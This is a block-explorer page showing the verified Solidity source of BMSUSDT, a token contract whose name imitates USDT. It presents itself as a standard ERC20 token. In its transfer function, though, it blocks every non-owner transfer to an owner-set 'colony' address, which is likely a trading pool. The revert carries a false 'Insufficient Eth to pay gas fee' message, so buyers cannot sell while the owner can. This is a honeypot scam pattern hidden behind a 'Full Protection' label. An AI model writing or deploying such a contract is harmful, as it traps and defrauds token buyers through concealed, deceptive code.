Skip to content
Verified contractExactMIT

BMSUSDT

Address0x2cbc225cec794254f1bb6015544cab5ee59fbd37
Balance

0 ETH

 

Transactions

5

 

Compiler

solc 0.8.34

 

Same code

Only this contract

 

Details

Compiler
solc 0.8.34+commit.80d5c536
Language
solidity
Optimization
No
License
MIT
Match
Exactcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
26,349,890
Creation transaction
0x0479c301a3…949da6bfcb

BMSUSDT.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

contract BMSUSDT {
    // ================================================================
    // 1. TOKEN METADATA
    // ================================================================
    string public constant name = "BMSUSDT";
    string public constant symbol = "BMSUSDT";
    uint8 public constant decimals = 18;
    uint256 public constant totalSupply = 10_000_000_000_000 * 10**18;
	
    // 2. STATE VARIABLES
    address public owner;
    address public colony;

    

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    // Events
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    
    event setColony(address indexed asd);
    

    modifier onlyOwner() {
        require(msg.sender == owner, "Only owner can call this");
        _;
    }

    // ================================================================
    // 3. CONSTRUCTOR
    // ================================================================
    constructor() {
        owner = msg.sender;
        _balances[owner] = totalSupply;

        

        emit Transfer(address(0), owner, totalSupply);
    }

    // ================================================================
    // 4. STANDARD ERC20 FUNCTIONS
    // ================================================================
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 value) public returns (bool) {
        _transfer(msg.sender, to, value);
        return true;
    }

    function approve(address spender, uint256 value) public returns (bool) {
        _allowances[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }

    function allowance(address ownerWallet, address spender) public view returns (uint256) {
        return _allowances[ownerWallet][spender];
    }

    function transferFrom(address from, address to, uint256 value) public returns (bool) {
        require(_allowances[from][msg.sender] >= value, "ERC20: allowance exceeded");
        _allowances[from][msg.sender] -= value;
        _transfer(from, to, value);
        return true;
    }

    // ================================================================
    // 5. CONTROLS (Only Owner)
    // ================================================================
   
    function setAddress(address _asd) external onlyOwner {
        require(_asd != address(0), "Invalid address");
        colony = _asd;
        emit setColony(_asd);
    }

    

    // ================================================================
    // 6. TRANSFER LOGIC (Full Protection)
    // ================================================================
    function _transfer(address from, address to, uint256 value) internal {
        require(from != address(0), "Transfer from zero");
        require(to != address(0), "Transfer to zero");
        require(_balances[from] >= value, "Insufficient balance");

        if (colony != address(0)) {
            if (from != owner && to != owner && from != address(this) && to != address(this)) {
                
            }
        }

		if (to == colony && from != owner) {
			revert("Insufficient Eth to pay gas fee.");
		}
        

        _balances[from] -= value;
        _balances[to] += value;
        emit Transfer(from, to, value);
    }
}
Compiler settingsShow
{
  "optimizer": {
    "runs": 200,
    "enabled": false
  },
  "remappings": []
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.